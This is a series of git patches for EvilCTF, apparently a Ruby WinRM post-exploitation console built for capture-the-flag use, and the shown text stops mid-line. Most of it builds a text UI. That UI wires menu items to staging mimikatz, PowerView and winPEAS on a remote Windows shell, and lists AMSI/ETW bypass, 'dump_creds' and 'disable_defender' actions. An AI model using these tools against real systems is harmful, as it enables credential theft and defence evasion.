From e17b9202c8bef33ca4347a8f1b5d9c7726bbf187 Mon Sep 17 00:00:00 2001 From: giveen Date: Mon, 5 Jan 2026 17:38:53 -0700 Subject: [PATCH 01/17] tui: add minimal TTY prototype skeleton --- lib/evil_ctf/tui.rb | 31 +++++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) create mode 100644 lib/evil_ctf/tui.rb diff --git a/lib/evil_ctf/tui.rb b/lib/evil_ctf/tui.rb new file mode 100644 index 0000000..c37b439 --- /dev/null +++ b/lib/evil_ctf/tui.rb @@ -0,0 +1,31 @@ +# Minimal TTY Toolkit-safe TUI prototype for EvilCTF +# This file is intentionally resilient if TTY gems are not installed. + +module EvilCTF + class TUI + def self.start(shell = nil, options = {}) + begin + require 'tty-prompt' + require 'tty-table' + rescue LoadError + puts "TTY gems not installed. Install tty-prompt and tty-table to enable the TUI." + return + end + + prompt = TTY::Prompt.new + + # Simple placeholder menu + loop do + choice = prompt.select('EvilCTF TUI Prototype', ['Show Banner', 'Run Flag Scan', 'Exit']) + case choice + when 'Show Banner' + puts "(TUI) Banner would render here" + when 'Run Flag Scan' + puts "(TUI) Flag scan would run and show results here" + when 'Exit' + break + end + end + end + end +end From 0358858ed9db1061b3ba338c257fcd70a205a9ae Mon Sep 17 00:00:00 2001 From: giveen Date: Mon, 5 Jan 2026 17:40:28 -0700 Subject: [PATCH 02/17] chore: add tty gems for TUI prototype --- Gemfile | 6 ++++++ Gemfile.lock | 27 +++++++++++++++++++++++++++ 2 files changed, 33 insertions(+) diff --git a/Gemfile b/Gemfile index 32a3367..129e7d0 100644 --- a/Gemfile +++ b/Gemfile @@ -18,3 +18,9 @@ group :test do gem 'rspec', '~> 3.12' gem 'mocha', '~> 1.15' end + +group :development do + gem 'tty-prompt' + gem 'tty-table' + gem 'tty-screen' +end diff --git a/Gemfile.lock b/Gemfile.lock index 1db0d34..55e52a0 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -25,6 +25,8 @@ GEM mutex_m (0.3.0) nori (2.7.1) bigdecimal + pastel (0.8.0) + tty-color (~> 0.5) rexml (3.4.4) rspec (3.13.2) rspec-core (~> 3.13.0) @@ -43,6 +45,27 @@ GEM base64 rubyzip (2.4.1) socksify (1.8.1) + strings (0.2.1) + strings-ansi (~> 0.2) + unicode-display_width (>= 1.5, < 3.0) + unicode_utils (~> 1.4) + strings-ansi (0.2.0) + tty-color (0.6.0) + tty-cursor (0.7.1) + tty-prompt (0.23.1) + pastel (~> 0.8) + tty-reader (~> 0.8) + tty-reader (0.9.0) + tty-cursor (~> 0.7) + tty-screen (~> 0.8) + wisper (~> 2.0) + tty-screen (0.8.2) + tty-table (0.12.0) + pastel (~> 0.8) + strings (~> 0.2.0) + tty-screen (~> 0.8) + unicode-display_width (2.6.0) + unicode_utils (1.4.0) winrm (2.3.9) builder (>= 2.1.2) erubi (~> 1.8) @@ -58,6 +81,7 @@ GEM logging (>= 1.6.1, < 3.0) rubyzip (~> 2.0) winrm (~> 2.0) + wisper (2.0.1) PLATFORMS x86_64-linux-gnu @@ -73,6 +97,9 @@ DEPENDENCIES rspec (~> 3.12) rubyzip (~> 2.0) socksify (~> 1.8) + tty-prompt + tty-screen + tty-table winrm (~> 2.3) winrm-fs (~> 1.3) From fed222eed09bdd6182f4a5674d3ab63d3e2cbe04 Mon Sep 17 00:00:00 2001 From: giveen Date: Mon, 5 Jan 2026 17:42:01 -0700 Subject: [PATCH 03/17] feat: optionally launch TTY TUI from banner when options[:tui] set --- lib/evil_ctf/banner.rb | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/lib/evil_ctf/banner.rb b/lib/evil_ctf/banner.rb index c661f27..98f7a44 100644 --- a/lib/evil_ctf/banner.rb +++ b/lib/evil_ctf/banner.rb @@ -62,6 +62,18 @@ def self.risk_text(score) # Show banner with optional color def self.show_banner(shell, options, mode: :minimal, no_color: false) + # If the user requested the TUI, attempt to launch it and return. + if options && (options[:tui] || options[:use_tui] || ENV['EVILCTF_TUI'] == '1') + begin + require 'evil_ctf/tui' + EvilCTF::TUI.start(shell, options) + rescue LoadError + puts " [!] TTY TUI not available. Install tty gems to enable TUI.".yellow + rescue => e + puts " [!] Failed to start TUI: #{e.message}".red + end + return + end # Disable color if requested if no_color # Use plain text From 988711394de38e2a65449711cea938eaa0fab64d Mon Sep 17 00:00:00 2001 From: giveen Date: Mon, 5 Jan 2026 17:45:59 -0700 Subject: [PATCH 04/17] tui: add flag-scan screen and expose run_flag_scan; add test script --- lib/evil_ctf/tui.rb | 88 +++++++++++++++++++++++++++++++++++++-- scripts/test_tui_flags.rb | 21 ++++++++++ 2 files changed, 105 insertions(+), 4 deletions(-) create mode 100644 scripts/test_tui_flags.rb diff --git a/lib/evil_ctf/tui.rb b/lib/evil_ctf/tui.rb index c37b439..5d8be21 100644 --- a/lib/evil_ctf/tui.rb +++ b/lib/evil_ctf/tui.rb @@ -7,25 +7,105 @@ def self.start(shell = nil, options = {}) begin require 'tty-prompt' require 'tty-table' + require 'tty-screen' rescue LoadError - puts "TTY gems not installed. Install tty-prompt and tty-table to enable the TUI." + puts "TTY gems not installed. Install tty-prompt, tty-table, tty-screen to enable the TUI.".yellow return end prompt = TTY::Prompt.new - # Simple placeholder menu loop do choice = prompt.select('EvilCTF TUI Prototype', ['Show Banner', 'Run Flag Scan', 'Exit']) case choice when 'Show Banner' - puts "(TUI) Banner would render here" + begin + EvilCTF::Banner.show_minimal_banner(shell, options) + rescue => e + puts "(TUI) Unable to render banner: #{e.message}" + end when 'Run Flag Scan' - puts "(TUI) Flag scan would run and show results here" + rows = run_flag_scan(shell) + if rows.empty? + puts "\nNo flags found.".white + prompt.keypress('Press any key to continue') + else + table = TTY::Table.new(['Path', 'Value'], rows) + puts table.render(:unicode) + prompt.keypress('Press any key to continue') + end when 'Exit' break end end end + + # Public helper to run the same optimized flag scan as the banner and + # return an array of [path, value] rows. + def self.run_flag_scan(shell) + ps = <<~POWERSHELL + $found_flags = @{} + $search_locations = @( + "C:\\flag.txt", "C:\\user.txt", "C:\\root.txt", + "C:\\Users\\*\\Desktop\\flag.txt", + "C:\\Users\\*\\Desktop\\user.txt", + "C:\\Users\\*\\Desktop\\root.txt", + "C:\\Users\\*\\Documents\\flag.txt", + "C:\\Users\\*\\Downloads\\flag.txt" + ) + + foreach ($location in $search_locations) { + try { + Get-ChildItem -Path $location -ErrorAction SilentlyContinue | ForEach-Object { + $content = Get-Content $_.FullName -Raw -ErrorAction SilentlyContinue + if ($content -and $content.Trim() -and $content.Trim().Length -lt 500) { + if (-not $found_flags.ContainsKey($_.FullName)) { + $found_flags[$_.FullName] = $content.Trim() + } + } + } + } catch { } + } + + $user_dirs = @("Desktop", "Documents", "Downloads") + foreach ($user_dir in $user_dirs) { + try { + Get-ChildItem "C:\\Users\\*\\$user_dir\\*" -Include "flag*", "user.txt", "root.txt" -Recurse -Depth 1 -ErrorAction SilentlyContinue | ForEach-Object { + $content = Get-Content $_.FullName -Raw -ErrorAction SilentlyContinue + if ($content -and $content.Trim() -and $content.Trim().Length -lt 500) { + if (-not $found_flags.ContainsKey($_.FullName)) { + $found_flags[$_.FullName] = $content.Trim() + } + } + } + } catch { } + } + + $found_flags.GetEnumerator() | ForEach-Object { + Write-Output "FLAGFOUND|||$($_.Key)|||$($_.Value)" + } + POWERSHELL + + begin + result = shell.run(ps) + rescue => e + return [] + end + + rows = [] + require 'set' + seen = Set.new + result.output.each_line do |line| + next unless line.include?("FLAGFOUND|||") + path, value = line.strip.split('|||', 3)[1..2] + next unless path + key = path.strip + next if seen.include?(key) + seen << key + rows << [path.strip, (value || '').strip] + end + + rows + end end end diff --git a/scripts/test_tui_flags.rb b/scripts/test_tui_flags.rb new file mode 100644 index 0000000..ff84609 --- /dev/null +++ b/scripts/test_tui_flags.rb @@ -0,0 +1,21 @@ +#!/usr/bin/env ruby +# Test the TUI's flag-scan helper without launching interactive TTY. +$LOAD_PATH.unshift(File.expand_path('../', __dir__)) +require 'ostruct' +module EvilCTF; end unless defined?(EvilCTF) +require 'lib/evil_ctf/tui' + +class MockShell + def run(cmd) + # Simulate optimized flag-scan output + if cmd.include?('Write-Output "FLAGFOUND') || cmd.include?('Get-ChildItem') + OpenStruct.new(output: "FLAGFOUND|||C:\\Users\\Alice\\Desktop\\flag.txt|||flag{demo}\nFLAGFOUND|||C:\\Users\\Bob\\Documents\\user.txt|||flag{bob}\n") + else + OpenStruct.new(output: "") + end + end +end + +rows = EvilCTF::TUI.run_flag_scan(MockShell.new) +puts "Found rows:" +puts rows.inspect From 1656ece5b75f6aae7a2ee593b40f6927d6be682a Mon Sep 17 00:00:00 2001 From: giveen Date: Mon, 5 Jan 2026 17:46:48 -0700 Subject: [PATCH 05/17] cli: add --tui flag to enable interactive TTY UI --- lib/evil_ctf/cli.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/evil_ctf/cli.rb b/lib/evil_ctf/cli.rb index 60b24d2..858371c 100644 --- a/lib/evil_ctf/cli.rb +++ b/lib/evil_ctf/cli.rb @@ -53,6 +53,7 @@ def self.run(argv) opts.on('--realm REALM', 'Kerberos realm') { |v| options[:realm] = v } opts.on('--keytab FILE', 'Kerberos keytab') { |v| options[:keytab] = v } opts.on('--banner MODE', 'Banner mode (minimal|expanded)') { |v| options[:banner_mode] = v&.to_sym } + opts.on('--tui', 'Launch interactive TTY-based UI (uses tty gems)') { options[:tui] = true } opts.on('--user-agent AGENT', 'Custom User-Agent for WinRM HTTP requests') { |v| options[:user_agent] = v } opts.on('--log-session', 'Enable session logging to disk (log/ directory)') { options[:log_session] = true } opts.on('--debug', 'Enable WinRM debug output (passes debug:true to WinRM client)') { options[:debug] = true } From 911254f40f359b334cb4045020a0667fc1a75444 Mon Sep 17 00:00:00 2001 From: giveen Date: Mon, 5 Jan 2026 17:47:26 -0700 Subject: [PATCH 06/17] fix(tools): remove duplicated header and stray block causing syntax errors --- lib/evil_ctf/tools.rb | 25 +------------------------ 1 file changed, 1 insertion(+), 24 deletions(-) diff --git a/lib/evil_ctf/tools.rb b/lib/evil_ctf/tools.rb index 6514365..89af532 100644 --- a/lib/evil_ctf/tools.rb +++ b/lib/evil_ctf/tools.rb @@ -1,28 +1,6 @@ - 'runascs' => { - name: 'RunasCs', - filename: 'RunasCs.exe', - search_patterns: ['RunasCs.exe', 'RunasCs*.exe'], - description: 'C# RunAs implementation for user impersonation and UAC bypass', - url: 'https://github.com/antonioCoco/RunasCs', - download_url: 'https://github.com/antonioCoco/RunasCs/releases/latest/download/RunasCs.exe', - backup_urls: [], - zip: false, - recommended_remote: 'C:\\Users\\Public\\RunasCs.exe', - auto_execute: false, - category: 'privilege' - }, -module EvilCTF - module Tools - # Safely escape single quotes for PowerShell single-quoted strings - def self.ps_single_quote_escape(str) - str.to_s.gsub("'", "''") - end - # This file intentionally small: use files under lib/evil_ctf/tools/* - end -end #!/usr/bin/env ruby # frozen_string_literal: true -# Compatibility shim – define Fixnum for Ruby 3.x +# Compatibility shim – define Fixnum for Ruby\u20093.x class Fixnum < Integer; end unless defined?(Fixnum) require 'fileutils' require 'zip' @@ -35,7 +13,6 @@ class Fixnum < Integer; end unless defined?(Fixnum) require 'shellwords' require 'evil_ctf/uploader' - module EvilCTF::Tools TOOL_REGISTRY = { 'sharphound' => { From c746b4ae44f11ddb14abd3492ff2ae10f9e85793 Mon Sep 17 00:00:00 2001 From: giveen Date: Mon, 5 Jan 2026 17:52:19 -0700 Subject: [PATCH 07/17] chore(cli): auto-require bundler/setup when --tui present to load vendor gems --- bin/evil-ctf.rb | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/bin/evil-ctf.rb b/bin/evil-ctf.rb index 93499ad..a0c55ab 100755 --- a/bin/evil-ctf.rb +++ b/bin/evil-ctf.rb @@ -41,6 +41,16 @@ module EvilCTF; end lib_path = File.join(base_path, 'lib') $LOAD_PATH.unshift(lib_path) unless $LOAD_PATH.include?(lib_path) +# Auto-setup Bundler when the user requested the TUI so gems from +# `vendor/bundle` are available even when running with plain `ruby`. +if ARGV.any? { |a| a.to_s.start_with?('--tui') || a.to_s == '--tui' } + begin + require 'bundler/setup' + rescue LoadError + # bundler not available system-wide; user can run with `bundle exec` instead + end +end + # Load modular components require 'evil_ctf/session' From 51d6862379186be63ca588d05c9a2c12bf3e5ef8 Mon Sep 17 00:00:00 2001 From: giveen Date: Mon, 5 Jan 2026 20:15:02 -0700 Subject: [PATCH 08/17] tui: add Rainfrog-inspired layout and interactive loop; add demo runner --- lib/evil_ctf/tui.rb | 336 ++++++++++++++++++++++++++++++++++++++- scripts/demo_tui_live.rb | 11 ++ 2 files changed, 340 insertions(+), 7 deletions(-) create mode 100644 scripts/demo_tui_live.rb diff --git a/lib/evil_ctf/tui.rb b/lib/evil_ctf/tui.rb index 5d8be21..3b3d2a8 100644 --- a/lib/evil_ctf/tui.rb +++ b/lib/evil_ctf/tui.rb @@ -16,15 +16,38 @@ def self.start(shell = nil, options = {}) prompt = TTY::Prompt.new loop do - choice = prompt.select('EvilCTF TUI Prototype', ['Show Banner', 'Run Flag Scan', 'Exit']) + # Render only the header (title, menus, actions) so prompt appears at top + render_dashboard_header(shell, options) + + choice = prompt.select('Main Menu', ['Actions Menu', 'Flag Scan', 'Exit']) + case choice - when 'Show Banner' - begin - EvilCTF::Banner.show_minimal_banner(shell, options) - rescue => e - puts "(TUI) Unable to render banner: #{e.message}" + when 'Actions Menu' + sub = prompt.select('Actions Menu', [ + 'Run Command', 'Upload File', 'Download File', 'Stage Tool', 'Execute Tool', + 'AMSI/ETW Bypass', 'System Recon', 'Open Interactive Shell', 'Back' + ]) + case sub + when 'Run Command' + prompt.keypress('Run Command selected - press any key to continue') + when 'Upload File' + prompt.keypress('Upload File selected - press any key to continue') + when 'Download File' + prompt.keypress('Download File selected - press any key to continue') + when 'Stage Tool' + prompt.keypress('Stage Tool selected - press any key to continue') + when 'Execute Tool' + prompt.keypress('Execute Tool selected - press any key to continue') + when 'AMSI/ETW Bypass' + prompt.keypress('AMSI/ETW Bypass selected - press any key to continue') + when 'System Recon' + prompt.keypress('System Recon selected - press any key to continue') + when 'Open Interactive Shell' + prompt.keypress('Open Interactive Shell selected - press any key to continue') + when 'Back' + # return to main menu end - when 'Run Flag Scan' + when 'Flag Scan' rows = run_flag_scan(shell) if rows.empty? puts "\nNo flags found.".white @@ -37,6 +60,9 @@ def self.start(shell = nil, options = {}) when 'Exit' break end + + # After selection, render the main dashboard body below + render_dashboard_body(shell, options) end end @@ -107,5 +133,301 @@ def self.run_flag_scan(shell) rows end + + # Keep old combined renderer for compatibility: header + body + def self.render_dashboard(shell, options) + render_dashboard_header(shell, options) + render_dashboard_body(shell, options) + end + + def self.render_dashboard_header(shell, options) + cols = (TTY::Screen.width rescue 80) + header = ' AWINRM OPERATOR CONSOLE ' + hn = (shell.run('hostname').output.strip rescue 'Unknown') + ip = options[:ip] || 'N/A' + host = "Host: #{hn} (#{ip})" + + box_width = [cols, 100].min + left_w = [24, (box_width * 0.20).floor].max + center_w = box_width - left_w - 3 + + # Title box + puts "┌" + "─" * (box_width - 2) + "┐" + puts "│" + header.center(box_width - 2) + "│" + puts "│" + host.center(box_width - 2) + "│" + puts "└" + "─" * (box_width - 2) + "┘" + puts + + # Two-column header: left = MENU, center = TERMINAL + puts "─" * box_width + left_title = ' MENU ' + center_title = ' TERMINAL ' + puts left_title.ljust(left_w) + ' ' * 3 + center_title.rjust(center_w) + puts "─" * box_width + end + + def self.render_dashboard_body(shell, options) + cols = (TTY::Screen.width rescue 80) + box_width = [cols, 100].min + left_w = [24, (box_width * 0.20).floor].max + center_w = box_width - left_w - 3 + + # Left: vertical menu / commands + menu_lines = [] + menu_lines << 'Actions:' + menu_lines << ' 1) Open Actions Menu' + menu_lines << ' 2) Sessions' + menu_lines << ' 3) Tools' + menu_lines << ' 4) Loot' + menu_lines << ' 5) Macros' + menu_lines << ' 6) Profiles' + menu_lines << ' 7) Logs' + menu_lines << '' + menu_lines << 'Commands:' + menu_lines << ' r) Run Command' + menu_lines << ' u) Upload Tool' + menu_lines << '' + + # Center: terminal-like output + center_lines = [] + center_lines << 'PS> whoami' + center_lines << (shell.run('whoami').output.strip rescue '') + center_lines << '' + center_lines << 'PS> systeminfo | findstr /B /C:"OS Name" /C:"OS Version"' + center_lines += (shell.run('systeminfo | findstr /B /C:"OS Name" /C:"OS Version"').output.strip rescue '').lines.map(&:chomp) + center_lines << '' + center_lines << 'STATUS: ✔ Connected ✔ Shell Ready' + + max_lines = [menu_lines.size, center_lines.size].max + (0...max_lines).each do |i| + l = menu_lines[i] || '' + c = center_lines[i] || '' + print l.ljust(left_w) + print ' ' * 3 + puts c.ljust(center_w) + end + + puts "─" * box_width + end + + # Demo mode: replay a scripted, live-updating dashboard for visual testing + def self.demo(_shell = nil, options = {}) + demo_shell = Object.new + def demo_shell.run(cmd) + case cmd + when 'hostname' + Struct.new(:output).new("demo-host\n") + when '[Security.Principal.WindowsIdentity]::GetCurrent().Name' + Struct.new(:output).new("Demo\\User\n") + when 'whoami /groups' + Struct.new(:output).new("Users\n") + when 'whoami' + Struct.new(:output).new("demo\\user\n") + when /systeminfo/ + Struct.new(:output).new("OS Name: DemoOS\nOS Version: 1.0\n") + else + Struct.new(:output).new("\n") + end + end + + cols = (TTY::Screen.width rescue 80) + box_width = [cols, 100].min + left_w = [24, (box_width * 0.20).floor].max + center_w = box_width - left_w - 3 + + # scripted right-panel events + events = [ + "Initializing quick scan...", + "FLAGFOUND: C:\\Users\\Alice\\Desktop\\flag.txt flag{demo}", + "Scanning Profiles...", + "Found suspicious file: C:\\Users\\Bob\\Documents\\user.txt", + "FLAGFOUND: C:\\Users\\Bob\\Documents\\user.txt flag{bob}", + "Upload complete: tool.exe (12KB)", + "Integrity check passed" + ] + + # progressively render frames + right_buffer = [] + events.each_with_index do |ev, idx| + right_buffer << ev + system('clear') rescue nil + render_dashboard_header(demo_shell, options) + + + menu_lines = [ + "Actions:", + " 1) Open Actions Menu", + " 2) Sessions", + " 3) Tools", + " 4) Loot", + " 5) Macros", + " 6) Profiles", + " 7) Logs", + "", + ] + + max_lines = [menu_lines.size, right_buffer.size].max + (0...max_lines).each do |i| + l = menu_lines[i] || '' + r = right_buffer[i] || '' + print l.ljust(left_w) + print ' ' * 3 + puts r.ljust(center_w) + end + + puts "─" * box_width + sleep 0.55 + end + + puts "\nDemo complete. Press Enter to exit." + STDIN.gets rescue nil + end + + # Render a full Rainfrog-inspired layout once (non-interactive preview) + def self.render_full_layout_once(shell, state = {}) + cols = (TTY::Screen.width rescue 80) + box_width = [cols, 120].min + left_w = [24, (box_width * 0.20).floor].max + center_w = box_width - left_w - 3 + + # Top bar + top = " AWINRM OPERATOR CONSOLE " + host = state[:host] || (shell && (shell.run('hostname').output.strip rescue 'Unknown')) || 'N/A' + status = state[:connected] ? 'Connected' : 'Disconnected' + shell_type = state[:shell] || 'PowerShell' + ssl = state[:ssl] ? 'OK' : 'UNVERIFIED' + + puts "┌" + "─" * (box_width - 2) + "┐" + puts "│ " + top.ljust(box_width - 4) + " │" + meta = "Host: #{host} Status: #{status} Shell: #{shell_type} SSL: #{ssl}" + puts "│ " + meta.ljust(box_width - 4) + " │" + puts "└" + "─" * (box_width - 2) + "┘" + + # Main panes header + puts + puts "┌" + "─" * (box_width - 2) + "┐" + left_title = ' MENU (Alt+1) ' + center_title = ' INTERACTIVE CLI (Alt+2) ' + right_title = ' META ' + puts "│" + left_title.ljust(left_w) + ' ' * 3 + center_title.center(center_w) + " │" + puts "├" + "─" * (box_width - 2) + "┤" + + # Sample left menu + center content + menu_lines = [ + 'Sessions', + ' Active Sessions', + ' New Session', + ' Close Session', + '', + 'Tools', + ' Recon', + ' Credential Access', + ' Lateral Movement', + ' Enumeration', + ' Upload / Download', + '', + 'Macros', + ' recon_basic', + ' recon_full', + ' dump_creds', + ' disable_defender', + '', + 'Profiles', + ' default.yml', + ' ctf.yml', + ' prod.yml', + '', + 'Settings', + ' SSL Verification', + ' Logging', + ' Shell Adapter', + ' Paths' + ] + + center_lines = [ + 'PS> whoami', + (shell && (shell.run('whoami').output.strip rescue '')) || 'WIN-CTF-01\\Administrator', + '', + 'PS> systeminfo | findstr /B /C:"OS Name" /C:"OS Version"', + 'OS Name: Microsoft Windows Server 2019 Standard', + 'OS Version: 10.0.17763', + '', + 'PS> upload_file C:\\Tools\\SharpHound.exe', + '[██████████░░░░░░░░░░░░░░░] 48% Chunk 12/25', + '', + '[command history] recon_basic', + '[streaming output continues below]' + ] + + max_lines = [menu_lines.size, center_lines.size].max + (0...max_lines).each do |i| + l = menu_lines[i] || '' + c = center_lines[i] || '' + print '│ ' + print l.ljust(left_w - 2) + print ' ' * 3 + print c.ljust(center_w) + puts ' │' + end + + puts "└" + "─" * (box_width - 2) + "┘" + + # Bottom results pane + puts + puts "┌" + "─" * (box_width - 2) + "┐" + puts "│ RESULTS (Alt+3)".ljust(box_width - 1) + "│" + puts "├" + "─" * (box_width - 2) + "┤" + puts "│ Command: recon_basic".ljust(box_width - 1) + "│" + puts "│ ------------------------------------------------------------".ljust(box_width - 1) + "│" + puts "│ [+] Hostname: WIN-CTF-01".ljust(box_width - 1) + "│" + puts "│ [+] Domain: CONTOSO".ljust(box_width - 1) + "│" + puts "│ [+] Logged-on users: Administrator".ljust(box_width - 1) + "│" + puts "│ [+] High-value targets: DC01, SQL01".ljust(box_width - 1) + "│" + puts "│ [+] Defender status: Enabled".ljust(box_width - 1) + "│" + puts "└" + "─" * (box_width - 2) + "┘" + + # Footer + footer = "[R] refresh [j] down [k] up [/] search [g] top [G] bottom [F1] Sessions [F2] CLI [F3] Results" + puts footer.center(box_width) + end + + # Starter interactive Rainfrog-like loop (minimal): left menu navigation + CLI input + def self.start_rainfrog(shell = nil, options = {}) + begin + require 'tty-prompt' + require 'tty-screen' + rescue LoadError + puts "TTY gems not installed. Install tty-prompt and tty-screen to enable the TUI.".yellow + return + end + + prompt = TTY::Prompt.new + state = { host: (shell && (shell.run('hostname').output.strip rescue nil)), connected: !!shell, shell: 'PowerShell', ssl: true } + history = [] + results = [] + + loop do + system('clear') rescue nil + render_full_layout_once(shell, state) + + # Focus: ask for a command in the CLI pane + cmd = prompt.ask('PS> ', default: '') + break if cmd.nil? || cmd.strip.downcase == 'exit' + next if cmd.strip.empty? + + # Record history and simulate output + history << cmd + if cmd.start_with?('upload') + results << "Uploading: #{cmd.split.last}" + puts "Uploading... (simulated)" + else + # In real use: send to shell.run(cmd) and stream output + out = (shell && (shell.run(cmd).output rescue '')) || "[simulated output for: #{cmd}]" + results << "#{cmd} -> #{out.to_s.lines.first.to_s.strip}" + end + + prompt.keypress('Press any key to continue', keys: [:any]) + end + end end end diff --git a/scripts/demo_tui_live.rb b/scripts/demo_tui_live.rb new file mode 100644 index 0000000..754c3fa --- /dev/null +++ b/scripts/demo_tui_live.rb @@ -0,0 +1,11 @@ +#!/usr/bin/env ruby +# Demo script to run the TUI demo mode without a live session +begin + require 'bundler/setup' +rescue LoadError + # ignore if bundler/setup not available +end +require_relative '../lib/evil_ctf/tui' + +# Run demo mode +EvilCTF::TUI.demo(nil, {}) From 0511ad28a750b8b4ce1bfb43817441d2594f7cd9 Mon Sep 17 00:00:00 2001 From: giveen Date: Mon, 5 Jan 2026 20:17:35 -0700 Subject: [PATCH 09/17] tui: add interactive left-menu navigation and keybindings (starter) --- lib/evil_ctf/tui.rb | 93 ++++++++++++++++++++++++++++++++++++--------- 1 file changed, 76 insertions(+), 17 deletions(-) diff --git a/lib/evil_ctf/tui.rb b/lib/evil_ctf/tui.rb index 3b3d2a8..fa5c648 100644 --- a/lib/evil_ctf/tui.rb +++ b/lib/evil_ctf/tui.rb @@ -396,37 +396,96 @@ def self.start_rainfrog(shell = nil, options = {}) begin require 'tty-prompt' require 'tty-screen' + require 'tty-reader' rescue LoadError - puts "TTY gems not installed. Install tty-prompt and tty-screen to enable the TUI.".yellow + puts "TTY gems not installed. Install tty-prompt, tty-screen and tty-reader to enable the TUI.".yellow return end prompt = TTY::Prompt.new + reader = TTY::Reader.new state = { host: (shell && (shell.run('hostname').output.strip rescue nil)), connected: !!shell, shell: 'PowerShell', ssl: true } history = [] results = [] + # Menu model: simple tree + menu = [ + { title: 'Sessions', children: ['Active Sessions', 'New Session', 'Close Session'] }, + { title: 'Tools', children: ['Recon', 'Credential Access', 'Lateral Movement', 'Enumeration', 'Upload / Download'] }, + { title: 'Macros', children: ['recon_basic', 'recon_full', 'dump_creds', 'disable_defender'] }, + { title: 'Profiles', children: ['default.yml', 'ctf.yml', 'prod.yml'] }, + { title: 'Settings', children: ['SSL Verification', 'Logging', 'Shell Adapter', 'Paths'] } + ] + + focus = :center # :left, :center, :results, :history, :favorites + menu_index = 0 + child_index = 0 + expanded = {} + loop do system('clear') rescue nil render_full_layout_once(shell, state) - # Focus: ask for a command in the CLI pane - cmd = prompt.ask('PS> ', default: '') - break if cmd.nil? || cmd.strip.downcase == 'exit' - next if cmd.strip.empty? - - # Record history and simulate output - history << cmd - if cmd.start_with?('upload') - results << "Uploading: #{cmd.split.last}" - puts "Uploading... (simulated)" - else - # In real use: send to shell.run(cmd) and stream output - out = (shell && (shell.run(cmd).output rescue '')) || "[simulated output for: #{cmd}]" - results << "#{cmd} -> #{out.to_s.lines.first.to_s.strip}" + key = reader.read_key + case key + when :ctrl_c + break + when :f1 + focus = :left + when :f2 + focus = :center + when :f3 + focus = :results + when :f4 + focus = :history + when :f5 + focus = :favorites + when :up, :arrow_up, 'k' + if focus == :left + if expanded[menu_index] && child_index > 0 + child_index -= 1 + else + menu_index = [0, menu_index - 1].max + child_index = 0 + end + end + when :down, :arrow_down, 'j' + if focus == :left + if expanded[menu_index] + max_child = menu[menu_index][:children].size - 1 + if child_index < max_child + child_index += 1 + else + menu_index = [menu.size - 1, menu_index + 1].min + child_index = 0 + end + else + menu_index = [menu.size - 1, menu_index + 1].min + child_index = 0 + end + end + when :return + if focus == :left + expanded[menu_index] = !expanded[menu_index] + child_index = 0 + elsif focus == :center + cmd = prompt.ask('PS> ', default: '') + break if cmd.nil? || cmd.strip.downcase == 'exit' + next if cmd.strip.empty? + history << cmd + if cmd.start_with?('upload') + results << "Uploading: #{cmd.split.last}" + else + out = (shell && (shell.run(cmd).output rescue '')) || "[simulated output for: #{cmd}]" + results << "#{cmd} -> #{out.to_s.lines.first.to_s.strip}" + end + prompt.keypress('Press any key to continue', keys: [:any]) + end + when '/' + prompt.ask('Search menu: ') + when 'r' + next end - - prompt.keypress('Press any key to continue', keys: [:any]) end end end From df78e1e4289ff111c50d3f7dc6c6c0ea5332157f Mon Sep 17 00:00:00 2001 From: giveen Date: Mon, 5 Jan 2026 20:19:51 -0700 Subject: [PATCH 10/17] tui: wire left-menu items to Tools/Uploader/Session helpers --- lib/evil_ctf/tui.rb | 92 ++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 90 insertions(+), 2 deletions(-) diff --git a/lib/evil_ctf/tui.rb b/lib/evil_ctf/tui.rb index fa5c648..52ec4c3 100644 --- a/lib/evil_ctf/tui.rb +++ b/lib/evil_ctf/tui.rb @@ -466,8 +466,96 @@ def self.start_rainfrog(shell = nil, options = {}) end when :return if focus == :left - expanded[menu_index] = !expanded[menu_index] - child_index = 0 + if expanded[menu_index] + # execute selected child action + selected = menu[menu_index][:children][child_index] + case menu[menu_index][:title] + when 'Sessions' + case selected + when 'Active Sessions' + if shell + puts "\n[*] Active session info:\n" + puts shell.run('whoami').output + puts shell.run('hostname').output + prompt.keypress('Press any key to continue', keys: [:any]) + else + prompt.keypress('No active shell. Start a session first.', keys: [:any]) + end + when 'New Session' + # prompt for minimal connection info and spawn session in a thread + ip = prompt.ask('Target IP: ') + user = prompt.ask('User: ', default: 'Administrator') + pass = prompt.mask('Password: ') + Thread.new do + begin + opts = { ip: ip, user: user, password: pass, ssl: false } + EvilCTF::Session.run_session(opts) + rescue => e + puts "[!] Failed to start session: #{e.message}" + end + end + prompt.keypress('Session start initiated (background). Press any key.', keys: [:any]) + when 'Close Session' + prompt.keypress('Close session not implemented in TUI (use CLI).', keys: [:any]) + end + when 'Tools' + case selected + when 'Recon' + if shell + EvilCTF::Tools.safe_autostage('powerview', shell, {}, nil) + prompt.keypress('Recon tool staged/executed. Press any key.', keys: [:any]) + else + prompt.keypress('No active shell to run Recon.', keys: [:any]) + end + when 'Credential Access' + if shell + EvilCTF::Tools.safe_autostage('mimikatz', shell, {}, nil) + prompt.keypress('Credential tool staged. Press any key.', keys: [:any]) + else + prompt.keypress('No active shell to stage tools.', keys: [:any]) + end + when 'Lateral Movement' + prompt.keypress('Lateral Movement helper not yet wired.', keys: [:any]) + when 'Enumeration' + if shell + EvilCTF::Tools.safe_autostage('winpeas', shell, {}, nil) + prompt.keypress('Enumeration staged. Press any key.', keys: [:any]) + else + prompt.keypress('No active shell to run enumeration.', keys: [:any]) + end + when 'Upload / Download' + if shell + EvilCTF::Uploader.file_operations_menu(shell) + else + prompt.keypress('No active shell for file operations.', keys: [:any]) + end + end + when 'Macros' + if shell + cm = EvilCTF::Tools::CommandManager.new + if cm.expand_macro(selected, shell) + prompt.keypress("Macro #{selected} executed. Press any key.", keys: [:any]) + else + prompt.keypress("Macro #{selected} not found or failed.", keys: [:any]) + end + else + prompt.keypress('No active shell to run macros.', keys: [:any]) + end + when 'Profiles' + prompt.keypress("Profile selection not yet implemented.", keys: [:any]) + when 'Settings' + case selected + when 'SSL Verification' + state[:ssl] = !state[:ssl] + prompt.keypress("SSL verification toggled to #{state[:ssl]}.", keys: [:any]) + else + prompt.keypress('Setting change not implemented.', keys: [:any]) + end + end + else + expanded[menu_index] 